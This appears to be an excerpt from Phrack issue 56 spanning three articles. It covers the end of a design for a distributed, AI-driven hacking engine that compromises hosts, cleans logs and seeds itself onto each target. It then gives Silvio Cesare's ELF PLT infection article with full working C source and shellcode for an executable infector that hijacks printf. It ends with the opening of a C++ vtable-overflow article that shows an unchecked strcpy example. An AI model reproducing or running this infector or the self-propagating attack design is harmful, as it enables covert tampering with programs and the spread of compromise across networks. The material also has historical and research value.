1. A child knows its parent address, but parent doesn't know its children. All communication to a child would first require a request to the top node (A) to learn the location of the children. This would ensure lesser risk to compromise an entire branch in case one of the node is uncovered

[10.0.0.1,A,parent], knows (10.0.2.5,10.0.3.1)

|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

|

[10.0.3.1,A1,(LS,L(3),M)]

* |

| x

[10.0.2.5,A3,(LS,L(3),M)]

A3 knows how to talk to A1, A1 asks A for who to talk with.

2. All nodes in the tree (except for A) don't know the other nodes' addresses but know the subnet on which the node resides and may sniff packets. For instance A1 would send packets to 10.0.2.6, whereas 10.0.2.6 discards it but 10.0.2.5 sees the data and replies to 10.0.3.2. [13]

‑‑| Distributed & Simultaneous Attack

Phase 0

The actual attack happens in phases. The attacker decides on a target and the level desired. Then the AI will look in the known set of Agents, and the defined rules for attack optimization. For instance, if we want to attack 10.0.3.2, the AI could decide to pass the attack to 10.0.3.1. The AI could also decide for multiple agents to attack at once (hence the distributed paradigm), in this case, collected information (the knowledge base) is passed between each phase to the Attacker, who could decide to redistribute it to the attacking agents.

Phase 1

Once a given Agent has received an order to attack, it queries its parent node for updated hacking database entries. Depending on the initial Attack order issued, this query might move up to the Attacker or not happen at all. If the communication model used is hierarchical, we could even implement this in DNS queries/replies to benefit from the existing code (see Phrack [14] issues 50‑53 on this).

Phase 2

The agent performs ruleset optimization as discussed previously chapter.

Phase 3

The agent updates or build its RETE vulnerability tree.

Phase 4

The agent satisfies the first "target detection" ruleset (this includes host, service, network topology, OS, Application layer info detection), before moving to the next phase. This happens exclusively as an RS. In the case of a simultaneous attack (by many agents for one target) information gathered is moved to the Attacker who might push back other info gathered by the other agents.

Phase 5

The Agent actually attempts to compromise the target. This phase is not completed until the level of access the attacker decided upon is reached, and the "target clean‑up" (cleaning the logs) rulesets are satisfied. The cleanup rules might even trigger the necessary hack of another box where the logs may reside ‑‑ it is common practice in security administration to log to a different machine (especially at high profile sites with high profile targets). This phase might fail upon unsuccessful hacks or a timeout.

Phase 6

Install the hacking engine child on target. Target becomes part of the tree as a subordinate of the successful attacking agent. The Attacker is notified of the new acquisition.

Phase 7

The new agent goes into passive mode ‑‑ it waits for input from its parent and monitors traffic and trust relationships locally to increase its local knowledge database. On a regular basis the agent should "push" info to its parent, this is necessary if the agent is behind a firewall or the address is set dynamically.

Note: Phase 4+5+6 are the so‑called "consolidation components".

The Simultaneous aspects of attack are controlled by the Attacker and not by delegation to other parent nodes. This could be called Centrally Controlled Distributed and Simultaneous Attack.

Let's summarize the phases:

Engine Phase Comments

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑‑‑‑

AI 0 Decide for agent(s) to attack target Incremental 1 Database query

AI 2 Ruleset optimization

Incremental 3 Tree build

AI 4 Target information gathering

AI 5 Compromise target, cleanup

Incremental 6 Seed target

AI 7 New agent enters passive mode

Other concepts can be put into this, such as cryptography and multiple target acquisition at once. It would certainly be an interesting exercise to write a valid algorithm for all this.

‑‑‑‑| Comparison

‑‑| COPS Kuang system

The "Kuang system", a security analysis tool developed by Robert W. Baldwin of MIT is included in COPS security package available from Purdue University [15]. The Kuang system is a ruleset‑based system used to check UID/GID's rights on a local system, i.e. it processes a knowledge base (list of privilege users/files, list of rights needed on users/files to attain their level of privilege) against a set of rules (if any user can write a startup file of root, any user can become root). The ruleset is written as such that it is "string parsable" in the inference engine (which is a forward inference engine of order 1). The system can perform tests stored in a shell script to decide if a rule is satisfied by the configuration of the system it is currently running on.

In comparison to what is described in this paper, the Kuang system evolves between (LS,L(1)) and (LS,L(3)). It uses a non‑optimized forward inference engine that performs Phase(4) of our distributed scheme.

We should consider the Kuang system as a working‑case study, to build Area52.

‑‑| A sample vulnerability scanner : Nessus

The Nessus Open source project [16] aims at providing a free security scanner. It works by testing systems (remote/local) for known vulnerabilities. The Nessus developers wrote a scripting language for this purpose ‑‑ we mentioned earlier that the actual coding attacks should be freely coded in a highly portable language for our proposed system. Yet the Nessus approach is not to be neglected ‑‑ could we use the Nessus effort and extend its scripting language so to actually re‑write all exploits? This would mean a continuous effort in writing the project, but then alleviates many compatibility and database issues. We could even hope for a "common hacking language" relying on multi‑platform libraries like libpcap and libnet as core components. Until an open source vulnerability scanner that can run on multiple platforms comes along, this is a fairly attractive piece of technology.

‑‑| Another Approach : Attack Trees

As is probably obvious, this "ultimate hack tool" could be used to help protect as well as compromise. While most of the discussion has been from the intruder perspective, we could easily use the tool for our own vulnerability assessment. If we feed the knowledge database with all relevant information about our own network and run the engine in simulation mode, this will output a possible sequence of attack. Then, if the engine is told to search for ALL possible sequences of attack, and the output can be arrange as a tree of attack sequences (much like the tree of known vulnerabilities describe above), this would provide a means to help automatically generate "Attack Trees", as described by Bruce Schneier of Counterpane Internet Security in Dr. Dobb's Journal [17] (December 1999).

‑‑| Others...

Some distributed denial of service tools, have caused quite a stir in security circles lately [18]. Those tools expose an interesting sample of distributed communication and data tunneling, which code could be reused in the project outlined in this paper. The main problem with these denial of service tools is that their main output (floods of packets against a target) is never seen by the Attacker, which is what we would certainly require.

‑‑‑‑| References

[1] See discussions by Dr Ross Anderson from University of Cambridge http://www.cl.cam.ac.uk/Teaching/1998/Security/

[2] NMap by Fyodor.

http://www.insecure.org/nmap

[3] PacketStorm

http://packetstorm.securify.com

[4] Security Bugware

http://oliver.efri.hr/~crv

[5] Security Focus

http://www.securityfocus.com/

[6] Libnet multi‑platform packet mangling http://www.packetfactory.net/libnet/

[7] Common Vulnerabilities and Exposures http://cve.mitre.org, a unified hack database

[8] RETE LISP implementation http://www.mit.edu/afs/cs.cmu.edu/project/ai‑repository/ai/areas/expert/systems/frulekit/

[9] Prof. Miranker Venus project in C++ http://www.arlut.utexas.edu/~miranker/

[10] Original OPS LISP code http://www.cs.cmu.edu/afs/cs/project/ai‑repository/ai/areas/expert/systems/ops5/

[11] NASA RETE‑like system, coded in C, very impressive! http://www.ghg.net/clips/CLIPS.html

[12] "Distributed Metastasis: A Computer Network Penetration Methodology" by Andrew J. Stewart http://www.phrack.com/search.phtml?view&article=p55‑16

[13] "Strategies for Defeating Distributed Attacks" by Simple Nomad http://packetstorm.securify.com/papers/contest/Simple_Nomad.doc

[14] Phrack Magazine

http://www.phrack.com/

[15] Home archive of the COPS system ftp://coast.cs.purdue.edu/pub/Purdue/cops/

[16] The Nessus Project

http://www.nessus.org

[17] "Attack Trees: Modeling Security Threats" by Bruce Schneier http://www.ddj.com/articles/1999/9912/9912a/9912a.htm, DDJ article on Attack Trees

[18] Analysis of distributed denial of service tools by David Dittrich http://staff.washington.edu/dittrich/

Also, the source code for these DoS tools can be found at [3].

Shared Library Redirection via ELF PLT Infection

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x07[0x10]

|‑‑‑‑‑‑‑‑‑‑‑ SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION ‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Silvio Cesare <silvio@big.net.au> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| INTRODUCTION

This article describes a method of shared library call redirection using ELF infection that redirects the Procedure Linkage Table (PLT) of an executable allowing redirection to be resident outside of the infected executable. This has the advantage over the LD_PRELOAD redirection technique in that no environment variables are modified, thus remaining more hidden than previous techniques. An implementation is provided for x86/Linux. For those interested please visit the following URLs:

http://virus.beergrave.net (The Unix Virus Mailing List)

http://www.big.net.au/~silvio (My page)

‑‑‑‑| THE PROCEDURE LINKAGE TABLE (PLT)

From the ELF specifications... (not necessary to read but gives more detail than the follow‑up text)

" Procedure Linkage Table

Much as the global offset table redirects position‑independent address calculations to absolute locations, the procedure linkage table redirects position‑independent function calls to absolute locations. The link editor cannot resolve execution transfers (such as function calls) from one executable or shared object to another. Consequently, the link editor arranges to have the program transfer control to entries in the procedure linkage table. On the SYSTEM V architecture, procedure linkage tables reside in shared text, but they use addresses in the private global offset table. The dynamic linker determines the destinations' absolute addresses and modifies the global offset table's memory image accordingly. The dynamic linker thus can redirect the entries without compromising the position‑independence and sharability of the program's text. Executable files and shared object files have separate procedure linkage tables.

+ Figure 2‑12: Absolute Procedure Linkage Table {*}

.PLT0:pushl got_plus_4

jmp *got_plus_8

nop; nop

nop; nop

.PLT1:jmp *name1_in_GOT

pushl $offset

jmp .PLT0@PC

.PLT2:jmp *name2_in_GOT

pushl $offset

jmp .PLT0@PC

...

+ Figure 2‑13: Position‑Independent Procedure Linkage Table

.PLT0:pushl 4(%ebx)

jmp *8(%ebx)

nop; nop

nop; nop

.PLT1:jmp *name1@GOT(%ebx)

pushl $offset

jmp .PLT0@PC

.PLT2:jmp *name2@GOT(%ebx)

pushl $offset

jmp .PLT0@PC

...

NOTE: As the figures show, the procedure linkage table instructions use different operand addressing modes for absolute code and for positionindependent code. Nonetheless, their interfaces to the dynamic linker are the same.

Following the steps below, the dynamic linker and the program ``cooperate'' to resolve symbolic references through the procedure linkage table and the global offset table.

1. When first creating the memory image of the program, the dynamic linker sets the second and the third entries in the global offset table to special values. Steps below explain more about these values.

2. If the procedure linkage table is position‑independent, the address of the global offset table must reside in %ebx. Each shared object file in the process image has its own procedure linkage table, and control transfers to a procedure linkage table entry only from within the same object file. Consequently, the calling function is responsible for setting the global offset table base register before calling the procedure linkage table entry.

3. For illustration, assume the program calls name1, which transfers control to the label .PLT1.

4. The first instruction jumps to the address in the global offset table entry for name1. Initially, the global offset table holds the address of the following pushl instruction, not the real address of name1.

5. Consequently, the program pushes a relocation offset (offset) on the stack. The relocation offset is a 32‑bit, non‑negative byte offset into the relocation table. The designated relocation entry will have type R_386_JMP_SLOT, and its offset will specify the global offset table entry used in the previous jmp instruction. The relocation entry also contains a symbol table index, thus telling the dynamic linker what symbol is being referenced, name1 in this case.

6. After pushing the relocation offset, the program then jumps to .PLT0, the first entry in the procedure linkage table. The pushl instruction places the value of the second global offset table entry (got_plus_4 or 4(%ebx)) on the stack, thus giving the dynamic linker one word of identifying information. The program then jumps to the address in the third global offset table entry (got_plus_8 or 8(%ebx)), which transfers control to the dynamic linker.

7. When the dynamic linker receives control, it unwinds the stack, looks at the designated relocation entry, finds the symbol's value, stores the ``real'' address for name1 in its global offset table entry, and transfers control to the desired destination.

8. Subsequent executions of the procedure linkage table entry will transfer directly to name1, without calling the dynamic linker a second time. That is, the jmp instruction at .PLT1 will transfer to name1, instead of ``falling through'' to the pushl instruction.

The LD_BIND_NOW environment variable can change dynamic linking behavior. If its value is non‑null, the dynamic linker evaluates procedure linkage table entries before transferring control to the program. That is, the dynamic linker processes relocation entries of type R_386_JMP_SLOT during process initialization. Otherwise, the dynamic linker evaluates procedure linkage table entries lazily, delaying symbol resolution and relocation until the first execution of a table entry.

NOTE: Lazy binding generally improves overall application performance, because unused symbols do not incur the dynamic linking overhead. Nevertheless, two situations make lazy binding undesirable for some applications. First, the initial reference to a shared object function takes longer than subsequent calls, because the dynamic linker intercepts the call to resolve the symbol. Some applications cannot tolerate this unpredictability. Second, if an error occurs and the dynamic linker cannot resolve the symbol, the dynamic linker will terminate the program. Under lazy binding, this might occur at arbitrary times. Once again, some applications cannot tolerate this unpredictability. By turning off lazy binding, the dynamic linker forces the failure to occur during process initialization, before the application receives control.

"

To explain in more detail...

Shared library calls are treated special in executable objects because they cannot be linked to the executable at compile time. This is due to the fact that shared libraries are not available to the executable until runtime. The PLT was designed to handle such cases like these. The PLT holds the code responsible for calling the dynamic linker to locate these desired routines.

Instead of calling the real shared library routine in the executable, the executable calls an entry in the PLT. It is then up to the PLT to resolve the symbol it represents and do the right thing.

From the ELF specifications...

" .PLT1:jmp *name1_in_GOT

pushl $offset

jmp .PLT0@PC

"

This is the important info. This is the routine called instead of the library call. name1_in_GOT originally starts off pointing to the following pushl instruction. The offset represents a relocation (see the ELF specifications) offset which has a reference to the symbol the library call represents. This is used for the final jmp which jumps to the dynamic linker. The dynamic linker then changes name1_in_GOT to point directly to the routine thus avoiding dynamic linking a second time.

This summarizes the importance of the PLT in library lookups. It can be noted that we can change name_in_GOT to point to our own code, thus replacing library calls. If we save the state of the GOT before replacing, we can call the old library routine and thus redirect any library call.

‑‑‑‑| ELF INFECTION

To inject a redirected library call into an executable requires new code to be added to an executable. The actual procedure for ELF infection will not be described here as it has been covered very well in previous articles (http://www.big.net.au/~silvio ‑ Unix Viruses/Unix ELF Parasites and Virus).

For completeness Data Infection is used for injection, and it is slightly buggy not being strip safe.

‑‑‑‑| PLT REDIRECTION

The algorithm at the entry point code is as follows...

* mark the text segment writeable

* save the PLT(GOT) entry

* replace the PLT(GOT) entry with the address of the new lib call

The algorithm in the new library call is as follows...

* do the payload of the new lib call

* restore the original PLT(GOT) entry

* call the lib call

* save the PLT(GOT) entry again (if its changed)

* replace the PLT(GOT) entry with the address of the new lib call

To explain more how PLT redirection is done, the simplest method is to describe the sample code supplied. This code is injected into an executable and becomes the new entry point of the program. The library call that is redirected is printf, the new code prints a message before the printf supplied string.

‑‑

ok, save the registers and so forth...

"\x60" /* pusha */

mark the text segment as rwx. We do this so we can modify the PLT which is in the text segment and is normally not writeable.

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */

"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */

"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */

"\xba\x07\x00\x00\x00" /* movl $7,%edx */

"\xcd\x80" /* int $0x80 */

we save the old library call's PLT(GOT) reference and replace it with the address of the new library call which immediately follows the entry point code.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */

"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */

"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */

"\x08\x00\x00\x00\x00"

restore the registers and so forth...

"\x61" /* popa */

jump back to the executables original entry point.

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */

"\xff\xe5" /* jmp *%ebp */

the new library call (printf).

/* newcall: */

get the address of the string to write .

"\xeb\x38" /* jmp msg_jmp */

/* msg_call */

"\x59" /* popl %ecx */

and write that string using the Linux system call

"\xb8\x04\x00\x00\x00" /* movl $4,%eax */

"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */

"\xba\x0e\x00\x00\x00" /* movl $14,%edx */

"\xcd\x80" /* int $0x80 */

restore the old library call into the PLT(GOT) so we can call it

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */

"\xa3\x00\x00\x00\x00" /* movl %eax,plt */

get the original printf argument

"\xff\x75\xfc" /* pushl ‑4(%ebp) */

call the original library call

"\xff\xd0" /* call *%eax */

save the original library call from the PLT(GOT). Remember this might change after a call to the library, so we save each time. This actually only changes after the first call, but we don't bother too much.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */

"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */

make the PLT(GOT) point back to the new library call

"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */

"\x08\x00\x00\x00\x00"

clean up the arguments

"\x58" /* popl %eax */

restore the registers and so forth...

"\x61" /* popa */

and return from the function

"\xc3" /* ret */

get the address of the string to write .

/* msg_jmp */

"\xe8\xc4\xff\xff\xff" /* call msg_call */

the string

"INFECTED Host "

‑‑‑‑| FUTURE DIRECTIONS

It is possible to infect a shared library directly, and this is sometimes more desirable because the redirection stays resident for all executables. Also possible, is an even more stealth version of the PLT redirection described by modifying the process image directly thus the host executable stays unmodified. This however has the disadvantage that the redirection stays active only for the life of a single process.

‑‑‑‑| CONCLUSION

This article has described a method of redirecting shared library calls in an executable by directly modifying the PLT of the executable in question using ELF infection techniques. It is more stealthy than previous techniques using LD_PRELOAD and has large possibilities.

‑‑‑‑| CODE

<++> p56/PLT‑INFECTION/PLT‑infector.c !fda3c047

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#include <elf.h>

#define PAGE_SIZE4096

static char v[] =

"\x60" /* pusha */

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */

"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx*/

"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx*/

"\xba\x07\x00\x00\x00" /* movl $7,%edx */

"\xcd\x80" /* int $0x80 */

"\xa1\x00\x00\x00\x00"/*movlplt,%eax*/

"\xa3\x00\x00\x00\x00"/*movl%eax,oldcall*/

"\xc7\x05\x00\x90\x04"/*movl$newcall,plt*/

"\x08\x00\x00\x00\x00"

"\x61" /* popa*/

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp*/

"\xff\xe5" /* jmp *%ebp */

/* newcall:*/

"\xeb\x37"/*jmpmsg_jmp*/

/* msg_call */

"\x59"/*popl%ecx*/

"\xb8\x04\x00\x00\x00"/*movl$4,%eax*/

"\xbb\x01\x00\x00\x00"/*movl$1,%ebx*/

"\xba\x0e\x00\x00\x00"/*movl$14,%edx*/

"\xcd\x80"/*int$0x80*/

"\xb8\x00\x00\x00\x00"/*movl$oldcall,%eax*/

"\xa3\x00\x00\x00\x00"/*movl%eax,plt*/

"\xff\x75\xfc"/*pushl‑4(%ebp)*/

"\xff\xd0"/*call*%eax*/

"\xa1\x00\x00\x00\x00"/*movlplt,%eax*/

"\xa3\x00\x00\x00\x00"/*movl%eax,oldcall*/

"\xc7\x05\x00\x00\x00"/*movl$newcall,plt*/

"\x08\x00\x00\x00\x00"

"\x58"/*popl%eax*/

"\xc3"/*ret*/

/* msg_jmp */

"\xe8\xc4\xff\xff\xff"/*callmsg_call*/

"INFECTED Host "

;

char *get_virus(void)

{

return v;

}

int init_virus(

int plt,

int offset,

int text_start, int data_start,

int data_memsz,

int entry

)

{

int code_start = data_start + data_memsz;

int oldcall = code_start + 72;

int newcall = code_start + 51;

*(int *)&v[7] = text_start;

*(int *)&v[24] = plt;

*(int *)&v[29] = oldcall;

*(int *)&v[35] = plt;

*(int *)&v[39] = newcall;

*(int *)&v[45] = entry;

*(int *)&v[77] = plt;

*(int *)&v[87] = plt;

*(int *)&v[92] = oldcall;

*(int *)&v[98] = plt;

*(int *)&v[102] = newcall;

return 0;

}

int copy_partial(int fd, int od, unsigned int len)

{

char idata[PAGE_SIZE];

unsigned int n = 0;

int r;

while (n + PAGE_SIZE < len) {

if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {; perror("read");

return ‑1;

}

if (write(od, idata, PAGE_SIZE) < 0) {

perror("write");

return ‑1;

}

n += PAGE_SIZE;

}

r = read(fd, idata, len ‑ n);

if (r < 0) {

perror("read");

return ‑1;

}

if (write(od, idata, r) < 0) {

perror("write");

return ‑1;

}

return 0;

}

void do_elf_checks(Elf32_Ehdr *ehdr)

{

if (strncmp(ehdr‑>e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "File not ELF\n"); exit(1);

}

if (ehdr‑>e_type != ET_EXEC) { fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n"); exit(1);

}

if (ehdr‑>e_machine != EM_386 && ehdr‑>e_machine != EM_486) { fprintf(stderr, "ELF machine type not EM_386 or EM_486\n"); exit(1);

}

if (ehdr‑>e_version != EV_CURRENT) { fprintf(stderr, "ELF version not current\n"); exit(1);

}

}

int do_dyn_symtab(

int fd,

Elf32_Shdr *shdr, Elf32_Shdr *shdrp,

const char *sh_function

)

{

Elf32_Shdr *strtabhdr = &shdr[shdrp‑>sh_link];

char *string;

Elf32_Sym *sym, *symp;

int i;

string = (char *)malloc(strtabhdr‑>sh_size);

if (string == NULL) {

perror("malloc");

exit(1);

}

if (lseek(

fd, strtabhdr‑>sh_offset, SEEK_SET) != strtabhdr‑>sh_offset

) {

perror("lseek");

exit(1);

}

if (read(fd, string, strtabhdr‑>sh_size) != strtabhdr‑>sh_size) { perror("read");

exit(1);

}

sym = (Elf32_Sym *)malloc(shdrp‑>sh_size);

if (sym == NULL) {

perror("malloc");

exit(1);

}

if (lseek(fd, shdrp‑>sh_offset, SEEK_SET) != shdrp‑>sh_offset) { perror("lseek");

exit(1);

}

if (read(fd, sym, shdrp‑>sh_size) != shdrp‑>sh_size) { perror("read");

exit(1);

}

symp = sym;

for (i = 0; i < shdrp‑>sh_size; i += sizeof(Elf32_Sym)) {

if (!strcmp(&string[symp‑>st_name], sh_function)) { free(string);

return symp ‑ sym;

}

++symp;

}

free(string);

return ‑1;

}

int get_sym_number(

int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function )

{

Elf32_Shdr *shdrp = shdr;

int i;

for (i = 0; i < ehdr‑>e_shnum; i++) {

if (shdrp‑>sh_type == SHT_DYNSYM) {

return do_dyn_symtab(fd, shdr, shdrp, sh_function);

}

++shdrp;

}

}

void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym) {

Elf32_Rel *rel, *relp;

int i;

rel = (Elf32_Rel *)malloc(shdr‑>sh_size);

if (rel == NULL) {

perror("malloc");

exit(1);

}

if (lseek(fd, shdr‑>sh_offset, SEEK_SET) != shdr‑>sh_offset) { perror("lseek");

exit(1);

}

if (read(fd, rel, shdr‑>sh_size) != shdr‑>sh_size) { perror("read");

exit(1);

}

relp = rel;

for (i = 0; i < shdr‑>sh_size; i += sizeof(Elf32_Rel)) {

if (ELF32_R_SYM(relp‑>r_info) == sym) {

*plt = relp‑>r_offset;

*offset = relp ‑ rel;

printf("offset %i\n", *offset);

return;

}

++relp;

}

*plt = ‑1;

*offset = ‑1;

}

void find_rel(

int *plt,

int *offset,

int fd,

const char *string,

Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,

const char *sh_function

)

{

Elf32_Shdr *shdrp = shdr;

int sym;

int i;

sym = get_sym_number(fd, ehdr, shdr, sh_function);

if (sym < 0) {

*plt = ‑1;

*offset = ‑1;

return;

}

for (i = 0; i < ehdr‑>e_shnum; i++) {

if (!strcmp(&string[shdrp‑>sh_name], ".rel.plt")) { do_rel(plt, offset, fd, shdrp, sym);

return;

}

++shdrp;

}

}

void infect_elf(

char *host,

char *(*get_virus)(void),

int (*init_virus)(int, int, int, int, int, int), int len,

const char *sh_function

)

{

Elf32_Ehdr ehdr;

Elf32_Shdr *shdr, *strtabhdr;

Elf32_Phdr *phdr;

char *pdata, *sdata;

int move = 0;

int od, fd;

int evaddr, text_start = ‑1, plt;

int sym_offset;

int bss_len, addlen;

int offset, pos, oshoff;

int plen, slen;

int i;

char null = 0;

struct stat stat;

char *string;

char tempname[8] = "vXXXXXX";

fd = open(host, O_RDONLY);

if (fd < 0) {

perror("open");

exit(1);

}

/* read the ehdr */

if (read(fd, &ehdr, sizeof(ehdr)) < 0) {

perror("read");

exit(1);

}

do_elf_checks(&ehdr);

/* modify the virus so that it knows the correct reentry point */

printf("host entry point: %x\n", ehdr.e_entry);

/* allocate memory for phdr tables */

pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);

if (pdata == NULL) {

perror("malloc");

exit(1);

}

/* read the phdr's */

if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {

perror("lseek");

exit(1);

}

if (read(fd, pdata, plen) != plen) {

perror("read");

exit(1);

}

phdr = (Elf32_Phdr *)pdata;

/* allocated memory if required to accomodate the shdr tables */

sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);

if (sdata == NULL) {

perror("malloc");

exit(1);

}

/* read the shdr's */

if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) { perror("lseek");

exit(1);

}

if (read(fd, sdata, slen) != slen) {

perror("read");

exit(1);

}

strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];

string = (char *)malloc(strtabhdr‑>sh_size);

if (string == NULL) {

perror("malloc");

exit(1);

}

if (lseek(

fd, strtabhdr‑>sh_offset, SEEK_SET

) != strtabhdr‑>sh_offset) {

perror("lseek");

exit(1);

}

if (read(fd, string, strtabhdr‑>sh_size) != strtabhdr‑>sh_size) { perror("read");

exit(1);

}

find_rel(

&plt, &sym_offset,

fd,

string,

&ehdr,

(Elf32_Shdr *)sdata,

sh_function

);

if (plt < 0) {

printf("No dynamic function: %s\n", sh_function);

exit(1);

}

for (i = 0; i < ehdr.e_phnum; i++) {

if (phdr‑>p_type == PT_LOAD) {

if (phdr‑>p_offset == 0) {

text_start = phdr‑>p_vaddr;

} else {

if (text_start < 0) {

fprintf(stderr, "No text segment??\n");

exit(1);

}

/* is this the data segment ? */

#ifdef DEBUG

printf("Found PT_LOAD segment...\n");

printf(

"p_vaddr:0x%x\n"

"p_offset:%i\n"

"p_filesz:%i\n"

"p_memsz:%i\n"

"\n",

phdr‑>p_vaddr,

phdr‑>p_offset,

phdr‑>p_filesz,

phdr‑>p_memsz

);

#endif

offset = phdr‑>p_offset + phdr‑>p_filesz;

bss_len = phdr‑>p_memsz ‑ phdr‑>p_filesz;

if (init_virus != NULL)

init_virus(

plt, sym_offset,

text_start, phdr‑>p_vaddr,

phdr‑>p_memsz,

ehdr.e_entry

);

ehdr.e_entry = phdr‑>p_vaddr + phdr‑>p_memsz;

break;

}

}

++phdr;

}

/* update the shdr's to reflect the insertion of the virus */

addlen = len + bss_len;

shdr = (Elf32_Shdr *)sdata;

for (i = 0; i < ehdr.e_shnum; i++) {

if (shdr‑>sh_offset >= offset) {

shdr‑>sh_offset += addlen;

}

++shdr;

}

/*

update the phdr's to reflect the extention of the data segment (to allow virus insertion)

*/

phdr = (Elf32_Phdr *)pdata;

for (i = 0; i < ehdr.e_phnum; i++) {

if (phdr‑>p_type != PT_DYNAMIC) {

if (move) {

phdr‑>p_offset += addlen;

} else if (phdr‑>p_type == PT_LOAD && phdr‑>p_offset) {

/* is this the data segment ? */

phdr‑>p_filesz += addlen;

phdr‑>p_memsz += addlen;

#ifdef DEBUG

printf("phdr‑>filesz: %i\n", phdr‑>p_filesz); printf("phdr‑>memsz: %i\n", phdr‑>p_memsz);

#endif

move = 1;

}

}

++phdr;

}

/* update ehdr to reflect new offsets */

if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;

if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;

if (fstat(fd, &stat) < 0) { perror("fstat");

exit(1);

}

/* write the new virus */

if (mktemp(tempname) == NULL) { perror("mktemp");

exit(1);

}

od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode); if (od < 0) {

perror("open");

exit(1);

}

if (lseek(fd, 0, SEEK_SET) < 0) {

perror("lseek");

goto cleanup;

}

if (write(od, &ehdr, sizeof(ehdr)) < 0) {

perror("write");

goto cleanup;

}

if (write(od, pdata, plen) < 0) { perror("write");

goto cleanup;

}

free(pdata);

if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) { perror("lseek");

goto cleanup;

}

if (copy_partial(fd, od, offset ‑ pos) < 0) goto cleanup;

for (i = 0; i < bss_len; i++) write(od, &null, 1);

if (write(od, get_virus(), len) != len) {

perror("write");

goto cleanup;

}

if (copy_partial(fd, od, oshoff ‑ offset) < 0) goto cleanup;

if (write(od, sdata, slen) < 0) { perror("write");

goto cleanup;

}

free(sdata);

if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) { perror("lseek");

goto cleanup;

}

if (copy_partial(fd, od, stat.st_size ‑ pos) < 0) goto cleanup;

if (rename(tempname, host) < 0) { perror("rename");

exit(1);

}

if (fchown(od, stat.st_uid, stat.st_gid) < 0) { perror("chown");

exit(1);

}

free(string);

return;

cleanup:

unlink(tempname);

exit(1);

}

int main(int argc, char *argv[])

{

if (argc != 2) {

fprintf(stderr, "usage: infect‑data‑segment filename\n"); exit(1);

}

infect_elf(

argv[1],

get_virus, init_virus,

sizeof(v),

"printf"

);

exit(0);

}

<‑‑>

Smashing C++ VPTRs

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x08[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SMASHING C++ VPTRS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ rix <rix@securiweb.net> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| Introduction

At the present time, a widely known set of techniques instructs us how to exploit buffer overflows in programs usually written in C. Although C is almost ubiquitously used, we are seeing many programs also be written in C++. For the most part, the techniques that are applicable in C are available in C++ also, however, C++ can offer us new possibilities in regards to buffer overflows, mostly due to the use of object oriented technologies. We are going to analyze one of these possibilities, using the C++ GNU compiler, on an x86 Linux system.

‑‑‑‑| C++ Backgrounder

We can define a "class" as being a structure that contains data and a set of functions (called "methods"). Then, we can create variables based on this class definition. Those variables are called "objects". For example, we can have the following program (bo1.cpp):

#include <stdio.h>

#include <string.h>

class MyClass

{

private:

char Buffer[32];

public:

void SetBuffer(char *String)

{

strcpy(Buffer, String);

}

void PrintBuffer()

{

printf("%s\n", Buffer);

}

};

void main()

{

MyClass Object;

Object.SetBuffer("string");

Object.PrintBuffer();

}

This small program defines a MyClass class that possesses 2 methods:

1) A SetBuffer() method, that fills an internal buffer to the class (Buffer). 2) A PrintBuffer() method, that displays the content of this buffer.

